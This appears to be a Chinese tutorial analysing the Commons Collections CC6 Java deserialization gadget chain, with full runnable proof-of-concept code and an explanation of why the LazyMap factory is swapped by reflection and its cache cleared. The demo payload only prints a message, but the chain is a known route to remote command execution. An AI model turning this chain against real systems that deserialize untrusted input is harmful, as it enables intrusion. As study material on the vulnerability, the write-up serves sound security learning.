CC6_TiedMapEntry 链反序列化
前言
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6Demo {public static void main(String[] args) throws Exception {// 1. 构造 ChainedTransformer 链，打印信息验证漏洞触发ChainedTransformer chain = new ChainedTransformer(new org.apache.commons.collections4.Transformer[]{new ConstantTransformer(System.class),new InvokerTransformer("getField", new Class[]{String.class}, new Object[]{"out"}),new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null}),new InvokerTransformer("println", new Class[]{String.class}, new Object[]{"CC6 反序列化漏洞触发成功!"})});// 2. 先创建 LazyMap，使用无害的 factoryMap<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), new ConstantTransformer(1));// 3. 创建 TiedMapEntry，将 key 设置为任意值TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");// 4. 创建 HashMap 并 put entryMap<Object, Object> hashMap = new HashMap<>();hashMap.put(entry, "value");// 5. 反射修改 lazyMap 的 factory 为恶意的 chainField factoryField = LazyMap.class.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazyMap, chain);// 6. 清除 LazyMap 内部缓存，确保反序列化时键不存在// 注意：LazyMap 继承自 AbstractMapDecorator，内部 map 字段在父类中Field mapField = LazyMap.class.getSuperclass().getDeclaredField("map");mapField.setAccessible(true);Map<?, ?> innerMap = (Map<?, ?>) mapField.get(lazyMap);innerMap.clear();System.out.println("已清除 LazyMap 内部缓存");// 验证 factory 是否已正确设置Object factory = factoryField.get(lazyMap);System.out.println("LazyMap factory 类型: " + factory.getClass().getName());// 7. 序列化ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(hashMap);oos.close();System.out.println("序列化完成，字节长度: " + baos.size());// 8. 反序列化，触发漏洞System.out.println("反序列化开始...");ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);Object obj = ois.readObject();ois.close();System.out.println("反序列化完成: " + obj);// 9. 验证漏洞触发链System.out.println("\n=== 验证漏洞触发链 ===");// 创建新的 LazyMap 和 TiedMapEntry 来验证触发链Map<Object, Object> newLazyMap = LazyMap.lazyMap(new HashMap<>(), chain);TiedMapEntry newEntry = new TiedMapEntry(newLazyMap, "test2");System.out.println("触发 TiedMapEntry.hashCode()...");newEntry.hashCode();System.out.println("\n=== 漏洞触发链验证完成 ===");}
}这是本次分析CC6反序列化所需要的代码
这个链子和CC1 LazyMap有什么区别？
LazyMap链依赖 AnnotationInvocationHandler 在反序列化时遍历成员变量触发 LazyMap.get()，但该入口在 JDK 8u71 后被修复，导致链失效；而 CC6 改用 HashMap 反序列化时自动计算 TiedMapEntry 的 hashCode()，进而调用 LazyMap.get()，不依赖特定 JDK 版本，兼容性更好，但需要在构造时额外通过反射删除 LazyMap 中已缓存的 key，以确保反序列化时能触发factory.transform()。
入口出发点
CC1 (LazyMap)入口是 AnnotationInvocationHandler 的 readObject。
CC6 入口是 HashMap 的 readObject，通过 TiedMapEntry 作为桥梁。
Gadget Chain
HashMap.readObject()-> HashMap.hash(key)-> TiedMapEntry.hashCode()-> TiedMapEntry.getValue()-> LazyMap.get(key)-> factory.transform(key) // 此处触发恶意 Transformer-> ChainedTransformer.transform()-> ConstantTransformer-> InvokerTransformer...-> 命令执行
环境说明
JDK 版本 ：JDK 1.8.0_65
Commons Collections 版本 ：4.0
漏洞分析
第一层
ChainedTransformer chain = new ChainedTransformer(new org.apache.commons.collections4.Transformer[]{new ConstantTransformer(System.class),new InvokerTransformer("getField", new Class[]{String.class}, new Object[]{"out"}),new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null}),new InvokerTransformer("println", new Class[]{String.class}, new Object[]{"CC6 反序列化漏洞触发成功!"})
});
此处和CC1的是一样的就不过多赘述了。
第二层
// 2. 先创建 LazyMap，使用无害的 factory
Map<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), new ConstantTransformer(1));// 3. 创建 TiedMapEntry，将 key 设置为任意值
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");// 4. 创建 HashMap 并 put entry
Map<Object, Object> hashMap = new HashMap<>();
hashMap.put(entry, "value");
这里就是CC6相比CC1的最精妙的改动，这里加入了TiedMapEntry构造一种延迟触发的策略，用来欺骗本地JVM，防止 Payload 还没构造完成就触发了恶意代码。
为什么这么说呢让我们来梳理一下
我们首先回顾一下在 CC1（LazyMap 链）中，我们构造 Payload 时通常先创建 LazyMap，然后将其交给 AnnotationInvocationHandler，最后序列化。这个过程不会意外触发 LazyMap.get()，因为 AnnotationInvocationHandler 的构造和序列化都不需要调用 get。
但是如果我们CC6改用了 HashMap 作为入口
// 若直接使用恶意 factory，构造时就会触发命令
Map<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), chain); // 恶意链
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");
Map<Object, Object> hashMap = new HashMap<>();
hashMap.put(entry, "value"); // 这里会立即执行命令
HashMap 需要确定将 entry 这个键放在哪个桶里，所以必须先调用 entry.hashCode() 来获取哈希值。
我们来看一下hashCode() 方法的定义
public int hashCode() {final Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode());}
但是 getValue() 方法是这样的
public Object getValue() {return map.get(key);
}
所以 hashCode() 实际会调用 map.get(key)，这里的 map 就是你传入的 LazyMap，key 就是构造 TiedMapEntry 时指定的内容。
hashMap.put(entry, "value")→ entry.hashCode()→ entry.getValue()→ lazyMap.get("test")→ 如果 "test" 不在缓存中，调用 factory.transform("test")→ 若 factory 是 ChainedTransformer，则执行命令
第三层
// 5. 反射修改 lazyMap 的 factory 为恶意的 chain
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chain);// 6. 清除 LazyMap 内部缓存，确保反序列化时键不存在
// 注意：LazyMap 继承自 AbstractMapDecorator，内部 map 字段在父类中
Field mapField = LazyMap.class.getSuperclass().getDeclaredField("map");
mapField.setAccessible(true);
Map<?, ?> innerMap = (Map<?, ?>) mapField.get(lazyMap);
innerMap.clear(); // 清空所有缓存，包括 key "test"
System.out.println("已清除 LazyMap 内部缓存");// 验证 factory 是否已正确设置
Object factory = factoryField.get(lazyMap);
System.out.println("LazyMap factory 类型: " + factory.getClass().getName());
这一段主要的作用是通过反射将ChainedTransformer替换掉原先为了防止意外发生的 factory ，并且清除了缓存。
为什么要清除缓存呢？
让我们回看代码
public Object get(Object key) {// 检查底层的 Map 缓存里是否已经有了这个 keyif (map.containsKey(key) == false) {// 【关键点】只有不存在时，才会调用 factory 里的 Transformer！Object value = factory.transform(key); map.put(key, value); // 然后把结果存进去，下次就不调了return value;}// 如果 key 已经存在，直接返回缓存里的值，不执行 transformreturn map.get(key);
}
这里是LazyMap 内部的源码逻辑，重点在于Map内部为空的时候我们的整套攻击链子才能实现，但是我们之前的代码出现了问题。
Map<Object, Object> hashMap = new HashMap<>();
hashMap.put(entry, "value");
这里产生了一系列的连锁反应
1.HashMap 调用 entry.hashCode()。
2.entry 调用 lazyMap.get("test")。
3.lazyMap 发现没有 "test"，于是调用了当时那个无害的 ConstantTransformer(1)。
最终我们会发现lazyMap内部的Map存入了一个键值对：{"test": 1}。。如果不清除缓存，在服务器发序列化的时候，由于Map内部已经存在test所以就不会在调用ChainedTransformer了。
灵魂思考
1. 问题：HashMap.readObject 和 TiedMapEntry.hashCode 的行为在不同 JDK 版本中是否存在细微差异？
2. 问题：HashMap.readObject 究竟是如何处理每个键的？如果键是其他对象，也会调用其 hashCode 吗？
3. 问题：清除了 LazyMap 内部的 Map，但 TiedMapEntry 对象已经序列化，它的 key 和 map 引用是如何保存的？
3.1 追问：反序列化后这些引用是否还指向同一个 LazyMap 实例？如果没有 innerMap.clear()，反序列化时还会触发命令吗？
4.为什么不能一开始就直接用 ChainedTransformer 作为 factory？非要先用无害 factory，put 之后再反射替换？